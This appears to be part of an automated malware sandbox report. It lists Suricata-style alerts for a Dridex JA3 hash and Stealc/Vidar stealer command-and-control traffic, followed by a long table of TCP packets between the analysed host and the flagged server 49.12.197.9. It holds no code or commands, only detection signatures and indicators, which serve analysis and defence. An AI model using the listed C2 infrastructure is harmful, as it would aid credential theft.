2024-10-02T05:20:28.320194+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49801	49.12.197.9	443	TCP
2024-10-02T05:20:31.600366+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49803	49.12.197.9	443	TCP
2024-10-02T05:20:32.914973+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49804	49.12.197.9	443	TCP
2024-10-02T05:20:34.256890+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49805	49.12.197.9	443	TCP
2024-10-02T05:20:35.604639+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49806	49.12.197.9	443	TCP
2024-10-02T05:20:36.291417+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	49.12.197.9	443	192.168.2.4	49806	TCP
2024-10-02T05:20:36.973506+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49807	49.12.197.9	443	TCP
2024-10-02T05:20:37.668934+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	49.12.197.9	443	192.168.2.4	49807	TCP
2024-10-02T05:20:38.398217+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49808	49.12.197.9	443	TCP
2024-10-02T05:20:39.369652+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49809	49.12.197.9	443	TCP
2024-10-02T05:20:42.352879+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49810	49.12.197.9	443	TCP
2024-10-02T05:20:43.397671+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49811	49.12.197.9	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 05:19:15.168534040 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:15.168571949 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:15.168667078 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:15.174438000 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:15.174453020 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:15.811301947 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:15.811371088 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:15.880750895 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:15.880767107 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:15.881017923 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:15.881067038 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:15.884965897 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:15.927416086 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:16.296766996 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:16.296783924 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:16.296818018 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:16.296834946 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:16.296849012 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:16.296870947 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:16.296904087 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:16.395580053 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:16.395601988 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:16.395652056 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:16.395661116 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:16.395684958 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:16.395704031 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:16.401243925 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:16.401299000 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:16.401304960 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:16.401329041 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:16.401345015 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:16.401370049 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:16.439079046 CEST	49738	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:19:16.439102888 CEST	443	49738	104.102.49.254	192.168.2.4
Oct 2, 2024 05:19:16.491749048 CEST	49740	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:16.491796017 CEST	443	49740	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:16.491864920 CEST	49740	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:16.493377924 CEST	49740	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:16.493390083 CEST	443	49740	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:17.355351925 CEST	443	49740	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:17.355447054 CEST	49740	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:17.368599892 CEST	49740	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:17.368617058 CEST	443	49740	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:17.368834019 CEST	443	49740	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:17.368886948 CEST	49740	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:17.369287968 CEST	49740	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:17.415400028 CEST	443	49740	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:17.857541084 CEST	443	49740	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:17.857609987 CEST	443	49740	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:17.857625008 CEST	49740	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:17.857656002 CEST	49740	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:17.859918118 CEST	49740	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:17.859935045 CEST	443	49740	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:17.861943960 CEST	49741	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:17.861996889 CEST	443	49741	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:17.862073898 CEST	49741	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:17.862293005 CEST	49741	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:17.862312078 CEST	443	49741	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:18.509206057 CEST	443	49741	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:18.509280920 CEST	49741	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:18.509715080 CEST	49741	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:18.509727001 CEST	443	49741	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:18.511454105 CEST	49741	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:18.511460066 CEST	443	49741	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:19.217082977 CEST	443	49741	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:19.217164993 CEST	443	49741	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:19.217169046 CEST	49741	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:19.217207909 CEST	49741	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:19.224040031 CEST	49741	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:19.224067926 CEST	443	49741	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:19.247284889 CEST	49742	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:19.247313976 CEST	443	49742	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:19.247390032 CEST	49742	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:19.247606039 CEST	49742	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:19.247612000 CEST	443	49742	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:19.913878918 CEST	443	49742	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:19.913939953 CEST	49742	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:19.914767027 CEST	49742	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:19.914777040 CEST	443	49742	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:19.916708946 CEST	49742	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:19.916717052 CEST	443	49742	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:20.649255991 CEST	443	49742	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:20.649276972 CEST	443	49742	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:20.649339914 CEST	443	49742	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:20.649382114 CEST	49742	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:20.649449110 CEST	49742	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:20.649780989 CEST	49742	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:20.649796009 CEST	443	49742	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:20.651262999 CEST	49743	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:20.651299953 CEST	443	49743	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:20.651376963 CEST	49743	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:20.651640892 CEST	49743	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:20.651653051 CEST	443	49743	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:21.348598957 CEST	443	49743	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:21.351434946 CEST	49743	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:21.351955891 CEST	49743	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:21.351962090 CEST	443	49743	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:21.353573084 CEST	49743	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:21.353576899 CEST	443	49743	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:22.040867090 CEST	443	49743	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:22.040890932 CEST	443	49743	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:22.040919065 CEST	49743	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:22.040929079 CEST	443	49743	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:22.040939093 CEST	49743	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:22.040942907 CEST	443	49743	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:22.040965080 CEST	49743	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:22.041002989 CEST	49743	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:22.041393995 CEST	49743	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:22.041408062 CEST	443	49743	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:22.043443918 CEST	49744	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:22.043474913 CEST	443	49744	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:22.043545008 CEST	49744	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:22.043775082 CEST	49744	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:22.043781042 CEST	443	49744	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:22.711143970 CEST	443	49744	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:22.711225033 CEST	49744	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:22.711663961 CEST	49744	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:22.711668968 CEST	443	49744	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:22.713363886 CEST	49744	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:22.713367939 CEST	443	49744	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:23.407875061 CEST	443	49744	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:23.407939911 CEST	443	49744	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:23.408075094 CEST	49744	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:23.408233881 CEST	49744	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:23.408246040 CEST	443	49744	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:23.468835115 CEST	49745	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:23.468899012 CEST	443	49745	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:23.469111919 CEST	49745	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:23.469383001 CEST	49745	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:23.469392061 CEST	443	49745	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:24.142345905 CEST	443	49745	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:24.142442942 CEST	49745	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:24.143158913 CEST	49745	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:24.143179893 CEST	443	49745	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:24.144841909 CEST	49745	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:24.144855022 CEST	443	49745	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:24.144912958 CEST	49745	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:24.144932985 CEST	443	49745	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:24.453840971 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:24.453918934 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:24.454035044 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:24.454262018 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:24.454292059 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:24.933435917 CEST	443	49745	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:24.933501005 CEST	443	49745	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:24.933523893 CEST	49745	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:24.933571100 CEST	49745	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:24.934423923 CEST	49745	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:24.934458017 CEST	443	49745	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.118614912 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.118691921 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.119110107 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.119127989 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.120691061 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.120704889 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.554275990 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.554301977 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.554317951 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.554363012 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.554418087 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.554457903 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.554519892 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.585731030 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.585746050 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.585840940 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.585860968 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.585921049 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.654413939 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.654433966 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.654638052 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.654659986 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.654719114 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.684952974 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.684968948 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.685081005 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.685096979 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.685190916 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.724189997 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.724204063 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.724318981 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.724334002 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.724423885 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.755409002 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.755423069 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.755491972 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.755506039 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.755558014 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.774548054 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.774561882 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.774627924 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.774641991 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.774698019 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.792694092 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.792707920 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.792876005 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.792891026 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.792954922 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.810462952 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.810476065 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.810667038 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.810682058 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.810739994 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.826020002 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.826033115 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.826097965 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.826112986 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.826164961 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.843359947 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.843375921 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.843535900 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.843549967 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.843612909 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.857243061 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.857258081 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.857342005 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.857362032 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.857417107 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.872668982 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.872687101 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.872735977 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.872750998 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.872777939 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.872800112 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.884915113 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.884934902 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.884999037 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.885013103 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.885066986 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.895293951 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.895308971 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.895370960 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.895400047 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.895454884 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.903322935 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.903337955 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.903428078 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.903440952 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.903501034 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.912556887 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.912571907 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.912652016 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.912666082 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.912722111 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.929171085 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.929186106 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.929249048 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.929263115 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.929315090 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.930470943 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.930485010 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.930550098 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.930563927 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.930618048 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.950026035 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.950047016 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.950150967 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.950165033 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.950239897 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.956924915 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.956943989 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.957020998 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.957035065 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.957097054 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.970508099 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.970520973 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.970580101 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.970593929 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.970642090 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.980144024 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.980159044 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.980222940 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.980237007 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.980288982 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.990255117 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.990272999 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.990350008 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:25.990364075 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:25.990417004 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.000282049 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.000296116 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.000368118 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.000381947 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.000428915 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.007035017 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.007050991 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.007127047 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.007141113 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.007196903 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.018316984 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.018332958 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.018407106 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.018420935 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.018471956 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.033577919 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.033593893 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.033678055 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.033691883 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.033742905 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.046255112 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.046271086 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.046338081 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.046358109 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.046427011 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.059359074 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.059372902 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.059432030 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.059447050 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.059505939 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.073813915 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.073844910 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.073908091 CEST	49746	443	192.168.2.4	49.12.197.9
